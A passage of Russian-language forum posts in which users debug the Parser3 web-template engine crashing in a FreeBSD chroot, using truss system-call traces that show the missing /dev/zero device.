sysarch(0x81,0x7fffffffd2c0,0x800761288,0x0,0xffffffffff166780,0x8080808080808080) = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
__sysctl(0x7fffffffd9f0,0x2,0x7fffffffd9e8,0x7fffffffd9e0,0x0,0x0) = 0 (0x0)\
open(\"/dev/zero\",O_RDONLY,037777777773)          ERR#2 'No such file or directory'\
fcntl(-1,F_SETFD,0x1)                            ERR#9 'Bad file descriptor'\
mmap(0x0,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,-1,0x0) ERR#9 'Bad file descriptor'\
mmap(0x0,12288,PROT_READ|PROT_WRITE,MAP_PRIVATE,-1,0x0) ERR#9 'Bad file descriptor'\
Insufficient memory for GC_all_nils\
write(2,\"Insufficient memory for GC_all_n\"...,36) = 36 (0x24)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
process exit, rval = 1\
[/code]"
"80644","Ошибка имеет отношение скорее к libgc, поиск показывает например такой топик:\
http://mail-index.netbsd.org/pkgsrc-bugs/2014/01/15/msg053321.html\
Ну и в логе системных вызовов смущает отсутствие /dev/zero:\
open(\"/dev/zero\",O_RDONLY,037777777773)          ERR#2 'No such file or directory'\
\
Ну а по сути мы считаем, что наличие safe mode в парсере избавляет он необходимости\
использовать chroot/etc, поскольку процесс парсера в принципе не сможет открыть/запустить\
файл, который не принадлежит пользователю (группе) от которой работает парсер. Результат \
по сути аналогичен использованию chroot."
"80645","[code]mmap(0x0,32768,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34367455232 (0x80075c000)\
issetugid(0x80095ca60,0x7fffffffefc7,0x40,0x0,0xffff80080095da99,0x0) = 0 (0x0)\
lstat(\"/etc\",{ mode=drwxr-xr-x ,inode=196993,size=2048,blksize=32768 }) = 0 (0x0)\
lstat(\"/etc/libmap.conf\",0x7fffffffc540)         ERR#2 'No such file or directory'\
open(\"/var/run/ld-elf.so.hints\",O_RDONLY,057)    = 3 (0x3)\
read(3,\"Ehnt\\^A\\0\\0\\0\\M^@\\0\\0\\0Y\\0\\0\\0\\0\"...,128) = 128 (0x80)\
lseek(3,0x80,SEEK_SET)                           = 128 (0x80)\
read(3,\"/lib:/usr/lib:/usr/lib/compat:/u\"...,89) = 89 (0x59)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libcrypt.so.5\",0)                   = 0 (0x0)\
open(\"/lib/libcrypt.so.5\",O_RDONLY,045352740)    = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=199494,size=58640,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,2224128,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34369560576 (0x80095e000)\
mmap(0x80095e000,53248,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34369560576 (0x80095e000)\
mmap(0x800b6b000,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0xd000) = 34371710976 (0x800b6b000)\
mmap(0x800b6c000,69632,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34371715072 (0x800b6c000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libstdc++.so.6\",0)                  ERR#2 'No such file or directory'\
access(\"/usr/lib/libstdc++.so.6\",0)              = 0 (0x0)\
open(\"/usr/lib/libstdc++.so.6\",O_RDONLY,045352740) = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=5701778,size=1065016,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,3235840,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34371784704 (0x800b7d000)\
mmap(0x800b7d000,1028096,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34371784704 (0x800b7d000)\
mmap(0x800e77000,36864,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0xfa000) = 34374905856 (0x800e77000)\
mmap(0x800e80000,77824,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34374942720 (0x800e80000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libm.so.5\",0)                       = 0 (0x0)\
open(\"/lib/libm.so.5\",O_RDONLY,045352740)        = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=199496,size=160512,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,2232320,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34375020544 (0x800e93000)\
mmap(0x800e93000,135168,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34375020544 (0x800e93000)\
mmap(0x8010b3000,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0x20000) = 34377248768 (0x8010b3000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libgcc_s.so.1\",0)                   = 0 (0x0)\
open(\"/lib/libgcc_s.so.1\",O_RDONLY,045352740)    = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=199534,size=59720,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,2154496,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34377252864 (0x8010b4000)\
mmap(0x8010b4000,53248,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34377252864 (0x8010b4000)\
mmap(0x8012c1000,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0xd000) = 34379403264 (0x8012c1000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libc.so.7\",0)                       = 0 (0x0)\
open(\"/lib/libc.so.7\",O_RDONLY,045352740)        = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=199493,size=1405496,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,3518464,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34379407360 (0x8012c2000)\
mmap(0x8012c2000,1269760,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34379407360 (0x8012c2000)\
mmap(0x8015f8000,45056,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0x136000) = 34382774272 (0x8015f8000)\
mmap(0x801603000,106496,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34382819328 (0x801603000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
mmap(0x0,36864,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34367488000 (0x800764000)\
access(\"/lib/libsupc++.so.1\",0)                  ERR#2 'No such file or directory'\
access(\"/usr/lib/libsupc++.so.1\",0)              = 0 (0x0)\
open(\"/usr/lib/libsupc++.so.1\",O_RDONLY,045352740) = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=5701782,size=93216,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367524864 (0x80076d000)\
mmap(0x0,2252800,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34382925824 (0x80161d000)\
mmap(0x80161d000,81920,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34382925824 (0x80161d000)\
mmap(0x801831000,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0x14000) = 34385104896 (0x801831000)\
mmap(0x801833000,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34385113088 (0x801833000)\
munmap(0x80076d000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
munmap(0x80076b000,8192)                         = 0 (0x0)\
mmap(0x0,102400,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34367516672 (0x80076b000)\
sysarch(0x81,0x7fffffffd2b0,0x800762308,0x0,0xffffffffff166880,0x8080808080808080) = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
__sysctl(0x7fffffffd9e0,0x2,0x7fffffffd9d8,0x7fffffffd9d0,0x0,0x0) = 0 (0x0)\
open(\"/dev/zero\",O_RDONLY,037777777773)          = 3 (0x3)\
fcntl(3,F_SETFD,FD_CLOEXEC)                      = 0 (0x0)\
mmap(0x0,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,3,0x0) = 34367619072 (0x800784000)\
mmap(0x800794000,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,3,0x0) = 34367684608 (0x800794000)\
mmap(0x8007a4000,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,3,0x0) = 34367750144 (0x8007a4000)\
mmap(0x8007b4000,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,3,0x0) = 34367815680 (0x8007b4000)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
getcontext(0x7fffffffd5c0,0x4dbbda,0x800784000,0x1,0x4,0x7) = 0 (0x0)\
mmap(0x8007c4000,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,3,0x0) = 34367881216 (0x8007c4000)\
mmap(0x8007d4000,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,3,0x0) = 34367946752 (0x8007d4000)\
sigaction(SIGUSR1,{ 0x40e4a0 SA_RESTART ss_t },{ SIG_DFL SA_SIGINFO ss_t }) = 0 (0x0)\
sigaction(SIGPIPE,{ 0x40e420 SA_RESTART ss_t },{ SIG_DFL SA_SIGINFO ss_t }) = 0 (0x0)\
umask(0x2,0x7fffffffc860,0x1,0xc,0x7800e0,0x800786020) = 18 (0x12)\
/tmp/ILF/parser3/parser3: file not specified\
write(2,\"/tmp/ILF/parser3/parser3: file n\"...,45) = 45 (0x2d)\
fstat(1,{ mode=crw--w---- ,inode=117,size=0,blksize=4096 }) = 0 (0x0)\
readlink(\"/etc/malloc.conf\",0x7fffffffbe40,1024) ERR#2 'No such file or directory'\
issetugid(0x8013d1a49,0x7fffffffbe40,0xffffffffffffffff,0x0,0x2,0x800786020) = 0 (0x0)\
break(0x7b09c0)                                  = 0 (0x0)\
break(0x800000)                                  = 0 (0x0)\
mmap(0x0,4194304,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34385178624 (0x801843000)\
mmap(0x801c43000,3919872,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34389372928 (0x801c43000)\
munmap(0x801843000,3919872)                      = 0 (0x0)\
ioctl(1,TIOCGETA,0xffffc2d0)                     = 0 (0x0)\
Parser/3.4.4b (compiled on x86_64-unknown-freebsd9.2)\
write(1,\"Parser/3.4.4b (compiled on x86_6\"...,54) = 54 (0x36)\
Copyright (c) 2001-2013 Art. Lebedev Studio (http://www.artlebedev.com)\
write(1,\"Copyright (c) 2001-2013 Art. Leb\"...,72) = 72 (0x48)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
write(1,\"Author: Alexandr Petrosian <paf@\"...,66) = 66 (0x42)\
\
write(1,\"\\n\",1)                                  = 1 (0x1)\
Usage: /tmp/ILF/parser3/parser3 [options] file\
write(1,\"Usage: /tmp/ILF/parser3/parser3 \"...,47) = 47 (0x2f)\
Options are:\
write(1,\"Options are:\\n\",13)                     = 13 (0xd)\
    -f config_file  Use this config file (/path/to/auto.p)\
write(1,\"    -f config_file  Use this con\"...,59) = 59 (0x3b)\
    -h              Display usage information (this message)\
write(1,\"    -h              Display usag\"...,61) = 61 (0x3d)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
process exit, rval = 22\
[/code]"
"80646","По-моему видно, что оно хочет /dev/zero:\
\
[quote]open(\"/dev/zero\",O_RDONLY,037777777773)          = 3 (0x3)\
fcntl(3,F_SETFD,FD_CLOEXEC)                      = 0 (0x0)\
mmap(0x0,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,3,0x0) = 34367619072 (0x800784000)\
mmap(0x800794000,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,3,0x0) = 34367684608 (0x800794000)\
[/quote]\
\
В случае chroot:\
\
[quote]open(\"/dev/zero\",O_RDONLY,037777777773)          ERR#2 'No such file or directory'\
fcntl(-1,F_SETFD,0x1)                            ERR#9 'Bad file descriptor'\
mmap(0x0,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,-1,0x0) ERR#9 'Bad file descriptor'[/quote]"
"80647","[code]ls -al /tmp/ILF/dev/zero\
crwxrwxrwx  1 root  wheel  0x202 Jan 27 09:21 /tmp/ILF/dev/zero\
[/code]\
\
[code]mmap(0x0,32768,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34366132224 (0x800619000)\
issetugid(0x800819a60,0x7fffffffefcf,0x40,0x0,0xffff80080081aa91,0x0) = 0 (0x0)\
lstat(\"/etc\",{ mode=drwxr-xr-x ,inode=196993,size=2048,blksize=32768 }) = 0 (0x0)\
lstat(\"/etc/libmap.conf\",0x7fffffffc530)         ERR#2 'No such file or directory'\
open(\"/var/run/ld-elf.so.hints\",O_RDONLY,057)    = 3 (0x3)\
read(3,\"Ehnt\\^A\\0\\0\\0\\M^@\\0\\0\\0Y\\0\\0\\0\\0\"...,128) = 128 (0x80)\
lseek(3,0x80,SEEK_SET)                           = 128 (0x80)\
read(3,\"/lib:/usr/lib:/usr/lib/compat:/u\"...,89) = 89 (0x59)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libc.so.7\",0)                       = 0 (0x0)\
open(\"/lib/libc.so.7\",O_RDONLY,040322740)        = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=199493,size=1405496,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34366164992 (0x800621000)\
